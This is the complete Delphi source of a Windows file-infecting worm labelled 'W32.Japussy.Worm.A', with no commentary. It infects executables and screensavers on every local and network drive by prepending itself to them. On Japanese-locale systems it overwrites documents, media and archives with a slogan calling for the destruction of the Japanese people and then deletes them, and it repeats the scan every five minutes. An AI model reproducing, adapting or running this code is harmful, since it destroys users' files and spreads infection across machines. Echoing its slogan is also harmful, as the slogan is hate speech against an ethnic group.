program
Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI
;
const
HeaderSize =
82432
;
IconOffset =
$12EB8
;
IconSize =
$2E8
;
IconTail = IconOffset + IconSize;
ID =
$44444444
;
Catchword =
'If a race need to be killed out, it must be Yamato. '
+
'If a country need to be destroyed, it must be Japan! '
+
'*** W32.Japussy.Worm.A ***'
;
{$R *.RES}
function
RegisterServiceProcess(dwProcessID, dwType:
Integer
):
Integer
;
stdcall; external
'Kernel32.dll'
;
var
TmpFile:
string
;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap:
Boolean
=
False
;
function
IsWin9x:
Boolean
;
var
Ver: TOSVersionInfo;
begin
Result :=
False
;
Ver
.
dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if
not
GetVersionEx(Ver)
then
Exit;
if
(Ver
.
dwPlatformID = VER_PLATFORM_WIN32_WINDOWS)
then
Result :=
True
;
end
;
procedure
CopyStream(Src: TStream; sStartPos:
Integer
; Dst: TStream;
dStartPos:
Integer
; Count:
Integer
);
var
sCurPos, dCurPos:
Integer
;
begin
sCurPos := Src
.
Position;
dCurPos := Dst
.
Position;
Src
.
Seek(sStartPos,
0
);
Dst
.
Seek(dStartPos,
0
);
Dst
.
CopyFrom(Src, Count);
Src
.
Seek(sCurPos,
0
);
Dst
.
Seek(dCurPos,
0
);
end
;
procedure
ExtractFile(FileName:
string
);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream
.
Create(ParamStr(
0
), fmOpenRead
or
fmShareDenyNone);
try
dStream := TFileStream
.
Create(FileName, fmCreate);
try
sStream
.
Seek(HeaderSize,
0
);
dStream
.
CopyFrom(sStream, sStream
.
Size - HeaderSize);
finally
dStream
.
Free;
end
;
finally
sStream
.
Free;
end
;
except
end
;
end
;
procedure
FillStartupInfo(
var
Si: STARTUPINFO; State:
Word
);
begin
Si
.
cb := SizeOf(Si);
Si
.
lpReserved :=
nil
;
Si
.
lpDesktop :=
nil
;
Si
.
lpTitle :=
nil
;
Si
.
dwFlags := STARTF_USESHOWWINDOW;
Si
.
wShowWindow := State;
Si
.
cbReserved2 :=
0
;
Si
.
lpReserved2 :=
nil
;
end
;
procedure
SendMail;
begin
end
;
procedure
InfectOneFile(FileName:
string
);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID:
LongInt
;
aIcon: TIcon;
Infected, IsPE:
Boolean
;
i:
Integer
;
Buf:
array
[
0..1
]
of
Char
;
begin
try
if
CompareText(FileName,
'JAPUSSY.EXE'
) =
0
then
Exit;
Infected :=
False
;
IsPE :=
False
;
SrcStream := TFileStream
.
Create(FileName, fmOpenRead);
try
for
i :=
0
to
$108
do
begin
SrcStream
.
Seek(i, soFromBeginning);
SrcStream
.
Read(Buf,
2
);
if
(Buf[
0
] = #
80
)
and
(Buf[
1
] = #
69
)
then
begin
IsPE :=
True
;
Break;
end
;
end
;
SrcStream
.
Seek(-
4
, soFromEnd);
SrcStream
.
Read(iID,
4
);
if
(iID = ID)
or
(SrcStream
.
Size <
10240
)
then
Infected :=
True
;
finally
SrcStream
.
Free;
end
;
if
Infected
or
(
not
IsPE)
then
Exit;
IcoStream := TMemoryStream
.
Create;
DstStream := TMemoryStream
.
Create;
try
aIcon := TIcon
.
Create;
try
aIcon
.
ReleaseHandle;
aIcon
.
Handle := ExtractIcon(HInstance,
PChar
(FileName),
0
);
aIcon
.
SaveToStream(IcoStream);
finally
aIcon
.
Free;
end
;
SrcStream := TFileStream
.
Create(FileName, fmOpenRead);
HdrStream := TFileStream
.
Create(ParamStr(
0
), fmOpenRead
or
fmShareDenyNone);
try
CopyStream(HdrStream,
0
, DstStream,
0
, IconOffset);
CopyStream(IcoStream,
22
, DstStream, IconOffset, IconSize);
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
CopyStream(SrcStream,
0
, DstStream, HeaderSize, SrcStream
.
Size);
DstStream
.
Seek(
0
,
2
);
iID :=
$44444444
;
DstStream
.
Write
(iID,
4
);
finally
HdrStream
.
Free;
end
;
finally
SrcStream
.
Free;
IcoStream
.
Free;
DstStream
.
SaveToFile(FileName);
DstStream
.
Free;
end
;
except
;
end
;
end
;
procedure
SmashFile(FileName:
string
);
var
FileHandle:
Integer
;
i, Size, Mass, Max, Len:
Integer
;
begin
try
SetFileAttributes(
PChar
(FileName),
0
);
FileHandle := FileOpen(FileName, fmOpenWrite);
try
Size := GetFileSize(FileHandle,
nil
);
i :=
0
;
Randomize;
Max := Random(
15
);
if
Max <
5
then
Max :=
5
;
Mass := Size
div
Max;
Len := Length(Catchword);
while
i < Max
do
begin
FileSeek(FileHandle, i * Mass,
0
);
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end
;
finally
FileClose(FileHandle);
end
;
DeleteFile(
PChar
(FileName));
except
end
;
end
;
function
GetDrives:
string
;
var
DiskType:
Word
;
D:
Char
;
Str:
string
;
i:
Integer
;
begin
for
i :=
0
to
25
do
begin
D := Chr(i +
65
);
Str := D +
':'
;
DiskType := GetDriveType(
PChar
(Str));
if
(DiskType = DRIVE_FIXED)
or
(DiskType = DRIVE_REMOTE)
then
Result := Result + D;
end
;
end
;
procedure
LoopFiles(Path, Mask:
string
);
var
i, Count:
Integer
;
Fn, Ext:
string
;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function
IsValidDir(SearchRec: TSearchRec):
Integer
;
begin
if
(SearchRec
.
Attr <>
16
)
and
(SearchRec
.
Name <>
'.'
)
and
(SearchRec
.
Name <>
'..'
)
then
Result :=
0
else
if
(SearchRec
.
Attr =
16
)
and
(SearchRec
.
Name <>
'.'
)
and
(SearchRec
.
Name <>
'..'
)
then
Result :=
1
else
Result :=
2
;
end
;
begin
if
(FindFirst(Path + Mask, faAnyFile, SearchRec) =
0
)
then
begin
repeat
PeekMessage(Msg,
0
,
0
,
0
, PM_REMOVE);
if
IsValidDir(SearchRec) =
0
then
begin
Fn := Path + SearchRec
.
Name;
Ext := UpperCase(ExtractFileExt(Fn));
if
(Ext =
'.EXE'
)
or
(Ext =
'.SCR'
)
then
begin
InfectOneFile(Fn);
end
else
if
(Ext =
'.HTM'
)
or
(Ext =
'.HTML'
)
or
(Ext =
'.ASP'
)
then
begin
end
else
if
Ext =
'.WAB'
then
begin
end
else
if
Ext =
'.ADC'
then
begin
end
else
if
Ext =
'IND'
then
begin
end
else
begin
if
IsJap
then
begin
if
(Ext =
'.DOC'
)
or
(Ext =
'.XLS'
)
or
(Ext =
'.MDB'
)
or
(Ext =
'.MP3'
)
or
(Ext =
'.RM'
)
or
(Ext =
'.RA'
)
or
(Ext =
'.WMA'
)
or
(Ext =
'.ZIP'
)
or
(Ext =
'.RAR'
)
or
(Ext =
'.MPEG'
)
or
(Ext =
'.ASF'
)
or
(Ext =
'.JPG'
)
or
(Ext =
'.JPEG'
)
or
(Ext =
'.GIF'
)
or
(Ext =
'.SWF'
)
or
(Ext =
'.PDF'
)
or
(Ext =
'.CHM'
)
or
(Ext =
'.AVI'
)
then
SmashFile(Fn);
end
;
end
;
end
;
Sleep(
200
);
until
(FindNext(SearchRec) <>
0
);
end
;
FindClose(SearchRec);
SubDir := TStringList
.
Create;
if
(FindFirst(Path +
'*.*'
, faDirectory, SearchRec) =
0
)
then
begin
repeat
if
IsValidDir(SearchRec) =
1
then
SubDir
.
Add(SearchRec
.
Name);
until
(FindNext(SearchRec) <>
0
);
end
;
FindClose(SearchRec);
Count := SubDir
.
Count -
1
;
for
i :=
0
to
Count
do
LoopFiles(Path + SubDir
.
Strings[i] +
''
, Mask);
FreeAndNil(SubDir);
end
;
procedure
InfectFiles;
var
DriverList:
string
;
i, Len:
Integer
;
begin
if
GetACP =
932
then
IsJap :=
True
;
DriverList := GetDrives;
Len := Length(DriverList);
while
True
do
begin
for
i := Len
downto
1
do
LoopFiles(DriverList[i] +
':'
,
'*.*'
);
SendMail;
Sleep(
1000
*
60
*
5
);
end
;
end
;
begin
if
IsWin9x
then
RegisterServiceProcess(GetCurrentProcessID,
1
)
else
begin
end
;
if
CompareText(ExtractFileName(ParamStr(
0
)),
'Japussy.exe'
) =
0
then
InfectFiles
else
begin
TmpFile := ParamStr(
0
);
Delete(TmpFile, Length(TmpFile) -
4
,
4
);
TmpFile := TmpFile + #
32
+
'.exe'
;
ExtractFile(TmpFile);
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(
PChar
(TmpFile),
PChar
(TmpFile),
nil
,
nil
,
True
,
0
,
nil
,
'.'
, Si, Pi);
InfectFiles;
end
;
end
.